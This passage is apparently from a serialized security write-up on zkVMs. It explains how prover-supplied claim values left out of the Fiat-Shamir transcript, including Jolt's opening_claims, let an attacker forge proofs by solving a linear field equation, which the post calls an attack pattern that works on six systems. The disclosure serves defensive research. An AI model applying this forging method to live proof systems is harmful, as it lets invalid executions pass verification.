:116052,"children":116054},{"className":116053},[23693,115161],[],{"type":22,"tag":118,"props":116056,"children":116058},{"className":116057,"style":6105},[6104],[],{"type":22,"tag":118,"props":116060,"children":116062},{"className":116061},[6110],[116063],{"type":28,"value":6084},{"type":22,"tag":118,"props":116065,"children":116067},{"className":116066,"style":6105},[6104],[],{"type":22,"tag":118,"props":116069,"children":116071},{"className":116070},[6012],[116072,116077,116135,116139],{"type":22,"tag":118,"props":116073,"children":116076},{"className":116074,"style":116075},[6017],"height:1.296em;vertical-align:-0.4509em;",[],{"type":22,"tag":118,"props":116078,"children":116080},{"className":116079},[23578],[116081,116086],{"type":22,"tag":118,"props":116082,"children":116084},{"className":116083,"style":23585},[23578,23583,23584],[116085],{"type":28,"value":110438},{"type":22,"tag":118,"props":116087,"children":116089},{"className":116088},[6040],[116090],{"type":22,"tag":118,"props":116091,"children":116093},{"className":116092},[6045,23596],[116094,116123],{"type":22,"tag":118,"props":116095,"children":116097},{"className":116096},[6050],[116098,116118],{"type":22,"tag":118,"props":116099,"children":116101},{"className":116100,"style":115315},[6055],[116102],{"type":22,"tag":118,"props":116103,"children":116104},{"style":23609},[116105,116109],{"type":22,"tag":118,"props":116106,"children":116108},{"className":116107,"style":6065},[6064],[],{"type":22,"tag":118,"props":116110,"children":116112},{"className":116111},[6070,6071,6072,6073],[116113],{"type":22,"tag":118,"props":116114,"children":116116},{"className":116115,"style":96072},[6023,23542,6073],[116117],{"type":28,"value":90280},{"type":22,"tag":118,"props":116119,"children":116121},{"className":116120},[23699],[116122],{"type":28,"value":23702},{"type":22,"tag":118,"props":116124,"children":116126},{"className":116125},[6050],[116127],{"type":22,"tag":118,"props":116128,"children":116131},{"className":116129,"style":116130},[6055],"height:0.2997em;",[116132],{"type":22,"tag":118,"props":116133,"children":116134},{},[],{"type":22,"tag":118,"props":116136,"children":116138},{"className":116137,"style":6143},[6104],[],{"type":22,"tag":118,"props":116140,"children":116142},{"className":116141},[6023],[116143,116147,116300],{"type":22,"tag":118,"props":116144,"children":116146},{"className":116145},[23671,115161],[],{"type":22,"tag":118,"props":116148,"children":116150},{"className":116149},[115166],[116151],{"type":22,"tag":118,"props":116152,"children":116154},{"className":116153},[6045,23596],[116155,116288],{"type":22,"tag":118,"props":116156,"children":116158},{"className":116157},[6050],[116159,116283],{"type":22,"tag":118,"props":116160,"children":116162},{"className":116161,"style":115179},[6055],[116163,116252,116263],{"type":22,"tag":118,"props":116164,"children":116165},{"style":115183},[116166,116170],{"type":22,"tag":118,"props":116167,"children":116169},{"className":116168,"style":113814},[6064],[],{"type":22,"tag":118,"props":116171,"children":116173},{"className":116172},[6070,6071,6072,6073],[116174],{"type":22,"tag":118,"props":116175,"children":116177},{"className":116176},[6023,6073],[116178,116183,116188],{"type":22,"tag":118,"props":116179,"children":116181},{"className":116180,"style":115200},[6023,23542,6073],[116182],{"type":28,"value":115203},{"type":22,"tag":118,"props":116184,"children":116186},{"className":116185},[6110,6073],[116187],{"type":28,"value":6084},{"type":22,"tag":118,"props":116189,"children":116191},{"className":116190},[6023,6073],[116192,116202],{"type":22,"tag":118,"props":116193,"children":116195},{"className":116194},[6023,28,6073],[116196],{"type":22,"tag":118,"props":116197,"children":116199},{"className":116198},[6023,6073],[116200],{"type":28,"value":116201},"consume",{"type":22,"tag":118,"props":116203,"children":116205},{"className":116204},[6040],[116206],{"type":22,"tag":118,"props":116207,"children":116209},{"className":116208},[6045,23596],[116210,116240],{"type":22,"tag":118,"props":116211,"children":116213},{"className":116212},[6050],[116214,116235],{"type":22,"tag":118,"props":116215,"children":116217},{"className":116216,"style":113975},[6055],[116218],{"type":22,"tag":118,"props":116219,"children":116221},{"style":116220},"top:-2.3488em;margin-right:0.0714em;",[116222,116226],{"type":22,"tag":118,"props":116223,"children":116225},{"className":116224,"style":110503},[6064],[],{"type":22,"tag":118,"props":116227,"children":116229},{"className":116228},[6070,110508,110509,6073],[116230],{"type":22,"tag":118,"props":116231,"children":116233},{"className":116232,"style":96072},[6023,23542,6073],[116234],{"type":28,"value":90280},{"type":22,"tag":118,"props":116236,"children":116238},{"className":116237},[23699],[116239],{"type":28,"value":23702},{"type":22,"tag":118,"props":116241,"children":116243},{"className":116242},[6050],[116244],{"type":22,"tag":118,"props":116245,"children":116248},{"className":116246,"style":116247},[6055],"height:0.1512em;",[116249],{"type":22,"tag":118,"props":116250,"children":116251},{},[],{"type":22,"tag":118,"props":116253,"children":116254},{"style":115216},[116255,116259],{"type":22,"tag":118,"props":116256,"children":116258},{"className":116257,"style":113814},[6064],[],{"type":22,"tag":118,"props":116260,"children":116262},{"className":116261,"style":115226},[115225],[],{"type":22,"tag":118,"props":116264,"children":116265},{"style":115230},[116266,116270],{"type":22,"tag":118,"props":116267,"children":116269},{"className":116268,"style":113814},[6064],[],{"type":22,"tag":118,"props":116271,"children":116273},{"className":116272},[6070,6071,6072,6073],[116274],{"type":22,"tag":118,"props":116275,"children":116277},{"className":116276},[6023,6073],[116278],{"type":22,"tag":118,"props":116279,"children":116281},{"className":116280},[6023,6073],[116282],{"type":28,"value":6026},{"type":22,"tag":118,"props":116284,"children":116286},{"className":116285},[23699],[116287],{"type":28,"value":23702},{"type":22,"tag":118,"props":116289,"children":116291},{"className":116290},[6050],[116292],{"type":22,"tag":118,"props":116293,"children":116296},{"className":116294,"style":116295},[6055],"height:0.4509em;",[116297],{"type":22,"tag":118,"props":116298,"children":116299},{},[],{"type":22,"tag":118,"props":116301,"children":116303},{"className":116302},[23693,115161],[],{"type":22,"tag":31,"props":116305,"children":116306},{},[116307,116309,116491],{"type":28,"value":116308},"The global check: ",{"type":22,"tag":114,"props":116310,"children":116312},{"className":116311},[5995,5996],[116313],{"type":22,"tag":118,"props":116314,"children":116316},{"className":116315},[6001],[116317],{"type":22,"tag":118,"props":116318,"children":116320},{"className":116319,"ariaHidden":6007},[6006],[116321,116478],{"type":22,"tag":118,"props":116322,"children":116324},{"className":116323},[6012],[116325,116329,116386,116390,116399,116404,116465,116469,116474],{"type":22,"tag":118,"props":116326,"children":116328},{"className":116327,"style":94585},[6017],[],{"type":22,"tag":118,"props":116330,"children":116332},{"className":116331},[23578],[116333,116338],{"type":22,"tag":118,"props":116334,"children":116336},{"className":116335,"style":23585},[23578,23583,23584],[116337],{"type":28,"value":110438},{"type":22,"tag":118,"props":116339,"children":116341},{"className":116340},[6040],[116342],{"type":22,"tag":118,"props":116343,"children":116345},{"className":116344},[6045,23596],[116346,116375],{"type":22,"tag":118,"props":116347,"children":116349},{"className":116348},[6050],[116350,116370],{"type":22,"tag":118,"props":116351,"children":116353},{"className":116352,"style":115850},[6055],[116354],{"type":22,"tag":118,"props":116355,"children":116356},{"style":23609},[116357,116361],{"type":22,"tag":118,"props":116358,"children":116360},{"className":116359,"style":6065},[6064],[],{"type":22,"tag":118,"props":116362,"children":116364},{"className":116363},[6070,6071,6072,6073],[116365],{"type":22,"tag":118,"props":116366,"children":116368},{"className":116367},[6023,23542,6073],[116369],{"type":28,"value":3613},{"type":22,"tag":118,"props":116371,"children":116373},{"className":116372},[23699],[116374],{"type":28,"value":23702},{"type":22,"tag":118,"props":116376,"children":116378},{"className":116377},[6050],[116379],{"type":22,"tag":118,"props":116380,"children":116382},{"className":116381,"style":116130},[6055],[116383],{"type":22,"tag":118,"props":116384,"children":116385},{},[],{"type":22,"tag":118,"props":116387,"children":116389},{"className":116388,"style":6143},[6104],[],{"type":22,"tag":118,"props":116391,"children":116393},{"className":116392},[6023,28],[116394],{"type":22,"tag":118,"props":116395,"children":116397},{"className":116396},[6023],[116398],{"type":28,"value":115736},{"type":22,"tag":118,"props":116400,"children":116402},{"className":116401,"style":94643},[6023],[116403],{"type":28,"value":3422},{"type":22,"tag":118,"props":116405,"children":116407},{"className":116406},[6023],[116408,116417],{"type":22,"tag":118,"props":116409,"children":116411},{"className":116410},[6023,28],[116412],{"type":22,"tag":118,"props":116413,"children":116415},{"className":116414},[6023],[116416],{"type":28,"value":78228},{"type":22,"tag":118,"props":116418,"children":116420},{"className":116419},[6040],[116421],{"type":22,"tag":118,"props":116422,"children":116424},{"className":116423},[6045,23596],[116425,116454],{"type":22,"tag":118,"props":116426,"children":116428},{"className":116427},[6050],[116429,116449],{"type":22,"tag":118,"props":116430,"children":116432},{"className":116431,"style":95172},[6055],[116433],{"type":22,"tag":118,"props":116434,"children":116435},{"style":115773},[116436,116440],{"type":22,"tag":118,"props":116437,"children":116439},{"className":116438,"style":6065},[6064],[],{"type":22,"tag":118,"props":116441,"children":116443},{"className":116442},[6070,6071,6072,6073],[116444],{"type":22,"tag":118,"props":116445,"children":116447},{"className":116446},[6023,23542,6073],[116448],{"type":28,"value":3613},{"type":22,"tag":118,"props":116450,"children":116452},{"className":116451},[23699],[116453],{"type":28,"value":23702},{"type":22,"tag":118,"props":116455,"children":116457},{"className":116456},[6050],[116458],{"type":22,"tag":118,"props":116459,"children":116461},{"className":116460,"style":94726},[6055],[116462],{"type":22,"tag":118,"props":116463,"children":116464},{},[],{"type":22,"tag":118,"props":116466,"children":116468},{"className":116467,"style":6202},[6104],[],{"type":22,"tag":118,"props":116470,"children":116472},{"className":116471},[6207],[116473],{"type":28,"value":282},{"type":22,"tag":118,"props":116475,"children":116477},{"className":116476,"style":6202},[6104],[],{"type":22,"tag":118,"props":116479,"children":116481},{"className":116480},[6012],[116482,116486],{"type":22,"tag":118,"props":116483,"children":116485},{"className":116484,"style":95674},[6017],[],{"type":22,"tag":118,"props":116487,"children":116489},{"className":116488},[6023],[116490],{"type":28,"value":6036},{"type":28,"value":292},{"type":22,"tag":31,"props":116493,"children":116494},{},[116495,116500,116502,116508],{"type":22,"tag":74,"props":116496,"children":116497},{},[116498],{"type":28,"value":116499},"Why this is vulnerable:",{"type":28,"value":116501}," The ",{"type":22,"tag":114,"props":116503,"children":116505},{"className":116504},[],[116506],{"type":28,"value":116507},"claimed_sum",{"type":28,"value":116509}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":22,"tag":20760,"props":116511,"children":116512},{},[],{"type":22,"tag":23,"props":116514,"children":116516},{"id":116515},"the-universal-attack-pattern",[116517],{"type":28,"value":116518},"The Universal Attack Pattern",{"type":22,"tag":31,"props":116520,"children":116521},{},[116522],{"type":28,"value":116523},"Now we can describe the attack pattern that works on all six systems:",{"type":22,"tag":31,"props":116525,"children":116526},{},[116527],{"type":22,"tag":5928,"props":116528,"children":116531},{"alt":116529,"src":116530},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":22,"tag":31,"props":116533,"children":116534},{},[116535,116537,116562],{"type":28,"value":116536},"When a value ",{"type":22,"tag":114,"props":116538,"children":116540},{"className":116539},[5995,5996],[116541],{"type":22,"tag":118,"props":116542,"children":116544},{"className":116543},[6001],[116545],{"type":22,"tag":118,"props":116546,"children":116548},{"className":116547,"ariaHidden":6007},[6006],[116549],{"type":22,"tag":118,"props":116550,"children":116552},{"className":116551},[6012],[116553,116557],{"type":22,"tag":118,"props":116554,"children":116556},{"className":116555,"style":23537},[6017],[],{"type":22,"tag":118,"props":116558,"children":116560},{"className":116559,"style":109841},[6023,23542],[116561],{"type":28,"value":110165},{"type":28,"value":116563}," isn't transcript-bound:",{"type":22,"tag":4029,"props":116565,"children":116566},{},[116567,116598,116675,116820],{"type":22,"tag":68,"props":116568,"children":116569},{},[116570,116572,116597],{"type":28,"value":116571},"Challenges are fixed (independent of ",{"type":22,"tag":114,"props":116573,"children":116575},{"className":116574},[5995,5996],[116576],{"type":22,"tag":118,"props":116577,"children":116579},{"className":116578},[6001],[116580],{"type":22,"tag":118,"props":116581,"children":116583},{"className":116582,"ariaHidden":6007},[6006],[116584],{"type":22,"tag":118,"props":116585,"children":116587},{"className":116586},[6012],[116588,116592],{"type":22,"tag":118,"props":116589,"children":116591},{"className":116590,"style":23537},[6017],[],{"type":22,"tag":118,"props":116593,"children":116595},{"className":116594,"style":109841},[6023,23542],[116596],{"type":28,"value":110165},{"type":28,"value":3627},{"type":22,"tag":68,"props":116599,"children":116600},{},[116601,116603],{"type":28,"value":116602},"The verification equation has form: ",{"type":22,"tag":114,"props":116604,"children":116606},{"className":116605},[5995,5996],[116607],{"type":22,"tag":118,"props":116608,"children":116610},{"className":116609},[6001],[116611],{"type":22,"tag":118,"props":116612,"children":116614},{"className":116613,"ariaHidden":6007},[6006],[116615,116656],{"type":22,"tag":118,"props":116616,"children":116618},{"className":116617},[6012],[116619,116623,116628,116633,116638,116643,116647,116652],{"type":22,"tag":118,"props":116620,"children":116622},{"className":116621,"style":6125},[6017],[],{"type":22,"tag":118,"props":116624,"children":116626},{"className":116625,"style":96997},[6023,23542],[116627],{"type":28,"value":35024},{"type":22,"tag":118,"props":116629,"children":116631},{"className":116630},[23671],[116632],{"type":28,"value":540},{"type":22,"tag":118,"props":116634,"children":116636},{"className":116635,"style":109841},[6023,23542],[116637],{"type":28,"value":110165},{"type":22,"tag":118,"props":116639,"children":116641},{"className":116640},[23693],[116642],{"type":28,"value":3627},{"type":22,"tag":118,"props":116644,"children":116646},{"className":116645,"style":6202},[6104],[],{"type":22,"tag":118,"props":116648,"children":116650},{"className":116649},[6207],[116651],{"type":28,"value":282},{"type":22,"tag":118,"props":116653,"children":116655},{"className":116654,"style":6202},[6104],[],{"type":22,"tag":118,"props":116657,"children":116659},{"className":116658},[6012],[116660,116665],{"type":22,"tag":118,"props":116661,"children":116664},{"className":116662,"style":116663},[6017],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":22,"tag":118,"props":116666,"children":116668},{"className":116667},[6023,28],[116669],{"type":22,"tag":118,"props":116670,"children":116672},{"className":116671},[6023],[116673],{"type":28,"value":116674},"target",{"type":22,"tag":68,"props":116676,"children":116677},{},[116678,116679,116705,116707],{"type":28,"value":9486},{"type":22,"tag":114,"props":116680,"children":116682},{"className":116681},[5995,5996],[116683],{"type":22,"tag":118,"props":116684,"children":116686},{"className":116685},[6001],[116687],{"type":22,"tag":118,"props":116688,"children":116690},{"className":116689,"ariaHidden":6007},[6006],[116691],{"type":22,"tag":118,"props":116692,"children":116694},{"className":116693},[6012],[116695,116700],{"type":22,"tag":118,"props":116696,"children":116699},{"className":116697,"style":116698},[6017],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":22,"tag":118,"props":116701,"children":116703},{"className":116702,"style":96997},[6023,23542],[116704],{"type":28,"value":35024},{"type":28,"value":116706}," is linear: ",{"type":22,"tag":114,"props":116708,"children":116710},{"className":116709},[5995,5996],[116711],{"type":22,"tag":118,"props":116712,"children":116714},{"className":116713},[6001],[116715],{"type":22,"tag":118,"props":116716,"children":116718},{"className":116717,"ariaHidden":6007},[6006],[116719,116748,116775,116803],{"type":22,"tag":118,"props":116720,"children":116722},{"className":116721},[6012],[116723,116728,116735,116739,116744],{"type":22,"tag":118,"props":116724,"children":116727},{"className":116725,"style":116726},[6017],"height:0.4445em;",[],{"type":22,"tag":118,"props":116729,"children":116732},{"className":116730,"style":116731},[6023,23542],"margin-right:0.0037em;",[116733],{"type":28,"value":116734},"α",{"type":22,"tag":118,"props":116736,"children":116738},{"className":116737,"style":6105},[6104],[],{"type":22,"tag":118,"props":116740,"children":116742},{"className":116741},[6110],[116743],{"type":28,"value":112905},{"type":22,"tag":118,"props":116745,"children":116747},{"className":116746,"style":6105},[6104],[],{"type":22,"tag":118,"props":116749,"children":116751},{"className":116750},[6012],[116752,116757,116762,116766,116771],{"type":22,"tag":118,"props":116753,"children":116756},{"className":116754,"style":116755},[6017],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":22,"tag":118,"props":116758,"children":116760},{"className":116759,"style":109841},[6023,23542],[116761],{"type":28,"value":110165},{"type":22,"tag":118,"props":116763,"children":116765},{"className":116764,"style":6105},[6104],[],{"type":22,"tag":118,"props":116767,"children":116769},{"className":116768},[6110],[116770],{"type":28,"value":3220},{"type":22,"tag":118,"props":116772,"children":116774},{"className":116773,"style":6105},[6104],[],{"type":22,"tag":118,"props":116776,"children":116778},{"className":116777},[6012],[116779,116783,116790,116794,116799],{"type":22,"tag":118,"props":116780,"children":116782},{"className":116781,"style":116698},[6017],[],{"type":22,"tag":118,"props":116784,"children":116787},{"className":116785,"style":116786},[6023,23542],"margin-right:0.05278em;",[116788],{"type":28,"value":116789},"β",{"type":22,"tag":118,"props":116791,"children":116793},{"className":116792,"style":6202},[6104],[],{"type":22,"tag":118,"props":116795,"children":116797},{"className":116796},[6207],[116798],{"type":28,"value":282},{"type":22,"tag":118,"props":116800,"children":116802},{"className":116801,"style":6202},[6104],[],{"type":22,"tag":118,"props":116804,"children":116806},{"className":116805},[6012],[116807,116811],{"type":22,"tag":118,"props":116808,"children":116810},{"className":116809,"style":116663},[6017],[],{"type":22,"tag":118,"props":116812,"children":116814},{"className":116813},[6023,28],[116815],{"type":22,"tag":118,"props":116816,"children":116818},{"className":116817},[6023],[116819],{"type":28,"value":116674},{"type":22,"tag":68,"props":116821,"children":116822},{},[116823,116825],{"type":28,"value":116824},"Solve: ",{"type":22,"tag":114,"props":116826,"children":116828},{"className":116827},[5995,5996],[116829],{"type":22,"tag":118,"props":116830,"children":116832},{"className":116831},[6001],[116833],{"type":22,"tag":118,"props":116834,"children":116836},{"className":116835,"ariaHidden":6007},[6006],[116837,116863,116898],{"type":22,"tag":118,"props":116838,"children":116840},{"className":116839},[6012],[116841,116845,116850,116854,116859],{"type":22,"tag":118,"props":116842,"children":116844},{"className":116843,"style":23537},[6017],[],{"type":22,"tag":118,"props":116846,"children":116848},{"className":116847,"style":109841},[6023,23542],[116849],{"type":28,"value":110165},{"type":22,"tag":118,"props":116851,"children":116853},{"className":116852,"style":6202},[6104],[],{"type":22,"tag":118,"props":116855,"children":116857},{"className":116856},[6207],[116858],{"type":28,"value":282},{"type":22,"tag":118,"props":116860,"children":116862},{"className":116861,"style":6202},[6104],[],{"type":22,"tag":118,"props":116864,"children":116866},{"className":116865},[6012],[116867,116871,116876,116885,116889,116894],{"type":22,"tag":118,"props":116868,"children":116870},{"className":116869,"style":6125},[6017],[],{"type":22,"tag":118,"props":116872,"children":116874},{"className":116873},[23671],[116875],{"type":28,"value":540},{"type":22,"tag":118,"props":116877,"children":116879},{"className":116878},[6023,28],[116880],{"type":22,"tag":118,"props":116881,"children":116883},{"className":116882},[6023],[116884],{"type":28,"value":116674},{"type":22,"tag":118,"props":116886,"children":116888},{"className":116887,"style":6105},[6104],[],{"type":22,"tag":118,"props":116890,"children":116892},{"className":116891},[6110],[116893],{"type":28,"value":6084},{"type":22,"tag":118,"props":116895,"children":116897},{"className":116896,"style":6105},[6104],[],{"type":22,"tag":118,"props":116899,"children":116901},{"className":116900},[6012],[116902,116906,116911,116916,116921],{"type":22,"tag":118,"props":116903,"children":116905},{"className":116904,"style":6125},[6017],[],{"type":22,"tag":118,"props":116907,"children":116909},{"className":116908,"style":116786},[6023,23542],[116910],{"type":28,"value":116789},{"type":22,"tag":118,"props":116912,"children":116914},{"className":116913},[23693],[116915],{"type":28,"value":3627},{"type":22,"tag":118,"props":116917,"children":116919},{"className":116918},[6023],[116920],{"type":28,"value":888},{"type":22,"tag":118,"props":116922,"children":116924},{"className":116923,"style":116731},[6023,23542],[116925],{"type":28,"value":116734},{"type":22,"tag":31,"props":116927,"children":116928},{},[116929],{"type":28,"value":116930},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":22,"tag":31,"props":116932,"children":116933},{},[116934,116936,117014],{"type":28,"value":116935},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":22,"tag":114,"props":116937,"children":116939},{"className":116938},[5995,5996],[116940],{"type":22,"tag":118,"props":116941,"children":116943},{"className":116942},[6001],[116944],{"type":22,"tag":118,"props":116945,"children":116947},{"className":116946,"ariaHidden":6007},[6006],[116948],{"type":22,"tag":118,"props":116949,"children":116951},{"className":116950},[6012],[116952,116957,116963,116968,117009],{"type":22,"tag":118,"props":116953,"children":116956},{"className":116954,"style":116955},[6017],"height:1.0641em;vertical-align:-0.25em;",[],{"type":22,"tag":118,"props":116958,"children":116960},{"className":116959,"style":94643},[6023,23542],[116961],{"type":28,"value":116962},"O",{"type":22,"tag":118,"props":116964,"children":116966},{"className":116965},[23671],[116967],{"type":28,"value":540},{"type":22,"tag":118,"props":116969,"children":116971},{"className":116970},[6023],[116972,116977],{"type":22,"tag":118,"props":116973,"children":116975},{"className":116974},[6023,23542],[116976],{"type":28,"value":58344},{"type":22,"tag":118,"props":116978,"children":116980},{"className":116979},[6040],[116981],{"type":22,"tag":118,"props":116982,"children":116984},{"className":116983},[6045],[116985],{"type":22,"tag":118,"props":116986,"children":116988},{"className":116987},[6050],[116989],{"type":22,"tag":118,"props":116990,"children":116992},{"className":116991,"style":6018},[6055],[116993],{"type":22,"tag":118,"props":116994,"children":116995},{"style":6059},[116996,117000],{"type":22,"tag":118,"props":116997,"children":116999},{"className":116998,"style":6065},[6064],[],{"type":22,"tag":118,"props":117001,"children":117003},{"className":117002},[6070,6071,6072,6073],[117004],{"type":22,"tag":118,"props":117005,"children":117007},{"className":117006},[6023,6073],[117008],{"type":28,"value":19260},{"type":22,"tag":118,"props":117010,"children":117012},{"className":117011},[23693],[117013],{"type":28,"value":3627},{"type":28,"value":117015}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":22,"tag":20760,"props":117017,"children":117018},{},[],{"type":22,"tag":23,"props":117020,"children":117022},{"id":117021},"the-six-broken-systems",[117023],{"type":28,"value":117024},"The Six Broken Systems",{"type":22,"tag":31,"props":117026,"children":117027},{},[117028],{"type":22,"tag":5928,"props":117029,"children":117032},{"alt":117030,"src":117031},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":22,"tag":31,"props":117034,"children":117035},{},[117036],{"type":28,"value":117037},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":22,"tag":20760,"props":117039,"children":117040},{},[],{"type":22,"tag":1289,"props":117042,"children":117044},{"id":117043},"jolt-a16z",[117045],{"type":28,"value":117046},"Jolt (a16z)",{"type":22,"tag":31,"props":117048,"children":117049},{},[117050],{"type":28,"value":117051},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":22,"tag":31,"props":117053,"children":117054},{},[117055],{"type":22,"tag":74,"props":117056,"children":117057},{},[117058],{"type":28,"value":117059},"The proof structure:",{"type":22,"tag":107,"props":117061,"children":117063},{"code":117062},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[117064],{"type":22,"tag":114,"props":117065,"children":117066},{"__ignoreMap":7},[117067],{"type":28,"value":117062},{"type":22,"tag":31,"props":117069,"children":117070},{},[117071],{"type":22,"tag":74,"props":117072,"children":117073},{},[117074],{"type":28,"value":117075},"The verification flow:",{"type":22,"tag":31,"props":117077,"children":117078},{},[117079],{"type":22,"tag":5928,"props":117080,"children":117083},{"alt":117081,"src":117082},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":22,"tag":31,"props":117085,"children":117086},{},[117087,117092,117094,117100,117102,117108,117110,117115],{"type":22,"tag":74,"props":117088,"children":117089},{},[117090],{"type":28,"value":117091},"The bug:",{"type":28,"value":117093}," Each sumcheck instance provides an ",{"type":22,"tag":114,"props":117095,"children":117097},{"className":117096},[],[117098],{"type":28,"value":117099},"input_claim",{"type":28,"value":117101},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":22,"tag":114,"props":117103,"children":117105},{"className":117104},[],[117106],{"type":28,"value":117107},"opening_claims",{"type":28,"value":117109}," in the proof, but they were ",{"type":22,"tag":74,"props":117111,"children":117112},{},[117113],{"type":28,"value":117114},"never absorbed into the transcript",{"type":28,"value":117116}," before the batching coefficients were derived.",{"type":22,"tag":31,"props":117118,"children":117119},{},[117120],{"type":22,"tag":5928,"props":117121,"children":117124},{"alt":117122,"src":117123},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":22,"tag":31,"props":117126,"children":117127},{},[117128],{"type":22,"tag":74,"props":117129,"children":117130},{},[117131],{"type":28,"value":117132},"How sumcheck uses opening_claims:",{"type":22,"tag":31,"props":117134,"children":117135},{},[117136,117138,117144,117146,117223],{"type":28,"value":117137},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":22,"tag":114,"props":117139,"children":117141},{"className":117140},[],[117142],{"type":28,"value":117143},"BatchedClaim",{"type":28,"value":117145}," by taking a random linear combination of the individual claims ",{"type":22,"tag":114,"props":117147,"children":117149},{"className":117148},[5995,5996],[117150],{"type":22,"tag":118,"props":117151,"children":117153},{"className":117152},[6001],[117154],{"type":22,"tag":118,"props":117155,"children":117157},{"className":117156,"ariaHidden":6007},[6006],[117158],{"type":22,"tag":118,"props":117159,"children":117161},{"className":117160},[6012],[117162,117166],{"type":22,"tag":118,"props":117163,"children":117165},{"className":117164,"style":112640},[6017],[],{"type":22,"tag":118,"props":117167,"children":117169},{"className":117168},[6023],[117170,117175],{"type":22,"tag":118,"props":117171,"children":117173},{"className":117172,"style":94877},[6023,23542],[117174],{"type":28,"value":94880},{"type":22,"tag":118,"props":117176,"children":117178},{"className":117177},[6040],[117179],{"type":22,"tag":118,"props":117180,"children":117182},{"className":117181},[6045,23596],[117183,117212],{"type":22,"tag":118,"props":117184,"children":117186},{"className":117185},[6050],[117187,117207],{"type":22,"tag":118,"props":117188,"children":117190},{"className":117189,"style":95172},[6055],[117191],{"type":22,"tag":118,"props":117192,"children":117193},{"style":112072},[117194,117198],{"type":22,"tag":118,"props":117195,"children":117197},{"className":117196,"style":6065},[6064],[],{"type":22,"tag":118,"props":117199,"children":117201},{"className":117200},[6070,6071,6072,6073],[117202],{"type":22,"tag":118,"props":117203,"children":117205},{"className":117204},[6023,23542,6073],[117206],{"type":28,"value":3613},{"type":22,"tag":118,"props":117208,"children":117210},{"className":117209},[23699],[117211],{"type":28,"value":23702},{"type":22,"tag":118,"props":117213,"children":117215},{"className":117214},[6050],[117216],{"type":22,"tag":118,"props":117217,"children":117219},{"className":117218,"style":94726},[6055],[117220],{"type":22,"tag":118,"props":117221,"children":117222},{},[],{"type":28,"value":213},{"type":22,"tag":31,"props":117225,"children":117226},{},[117227],{"type":22,"tag":114,"props":117228,"children":117230},{"className":117229},[5995,5996],[117231],{"type":22,"tag":118,"props":117232,"children":117234},{"className":117233},[6001],[117235],{"type":22,"tag":118,"props":117236,"children":117238},{"className":117237,"ariaHidden":6007},[6006],[117239,117269,117410],{"type":22,"tag":118,"props":117240,"children":117242},{"className":117241},[6012],[117243,117247,117256,117260,117265],{"type":22,"tag":118,"props":117244,"children":117246},{"className":117245,"style":94558},[6017],[],{"type":22,"tag":118,"props":117248,"children":117250},{"className":117249},[6023,28],[117251],{"type":22,"tag":118,"props":117252,"children":117254},{"className":117253},[6023],[117255],{"type":28,"value":117143},{"type":22,"tag":118,"props":117257,"children":117259},{"className":117258,"style":6202},[6104],[],{"type":22,"tag":118,"props":117261,"children":117263},{"className":117262},[6207],[117264],{"type":28,"value":282},{"type":22,"tag":118,"props":117266,"children":117268},{"className":117267,"style":6202},[6104],[],{"type":22,"tag":118,"props":117270,"children":117272},{"className":117271},[6012],[117273,117278,117335,117339,117397,117401,117406],{"type":22,"tag":118,"props":117274,"children":117277},{"className":117275,"style":117276},[6017],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":22,"tag":118,"props":117279,"children":117281},{"className":117280},[23578],[117282,117287],{"type":22,"tag":118,"props":117283,"children":117285},{"className":117284,"style":23585},[23578,23583,23584],[117286],{"type":28,"value":110438},{"type":22,"tag":118,"props":117288,"children":117290},{"className":117289},[6040],[117291],{"type":22,"tag":118,"props":117292,"children":117294},{"className":117293},[6045,23596],[117295,117324],{"type":22,"tag":118,"props":117296,"children":117298},{"className":117297},[6050],[117299,117319],{"type":22,"tag":118,"props":117300,"children":117302},{"className":117301,"style":115850},[6055],[117303],{"type":22,"tag":118,"props":117304,"children":117305},{"style":23609},[117306,117310],{"type":22,"tag":118,"props":117307,"children":117309},{"className":117308,"style":6065},[6064],[],{"type":22,"tag":118,"props":117311,"children":117313},{"className":117312},[6070,6071,6072,6073],[117314],{"type":22,"tag":118,"props":117315,"children":117317},{"className":117316},[6023,23542,6073],[117318],{"type":28,"value":3613},{"type":22,"tag":118,"props":117320,"children":117322},{"className":117321},[23699],[117323],{"type":28,"value":23702},{"type":22,"tag":118,"props":117325,"children":117327},{"className":117326},[6050],[117328],{"type":22,"tag":118,"props":117329,"children":117331},{"className":117330,"style":116130},[6055],[117332],{"type":22,"tag":118,"props":117333,"children":117334},{},[],{"type":22,"tag":118,"props":117336,"children":117338},{"className":117337,"style":6143},[6104],[],{"type":22,"tag":118,"props":117340,"children":117342},{"className":117341},[6023],[117343,117348],{"type":22,"tag":118,"props":117344,"children":117346},{"className":117345,"style":116731},[6023,23542],[117347],{"type":28,"value":116734},{"type":22,"tag":118,"props":117349,"children":117351},{"className":117350},[6040],[117352],{"type":22,"tag":118,"props":117353,"children":117355},{"className":117354},[6045,23596],[117356,117386],{"type":22,"tag":118,"props":117357,"children":117359},{"className":117358},[6050],[117360,117381],{"type":22,"tag":118,"props":117361,"children":117363},{"className":117362,"style":95172},[6055],[117364],{"type":22,"tag":118,"props":117365,"children":117367},{"style":117366},"top:-2.55em;margin-left:-0.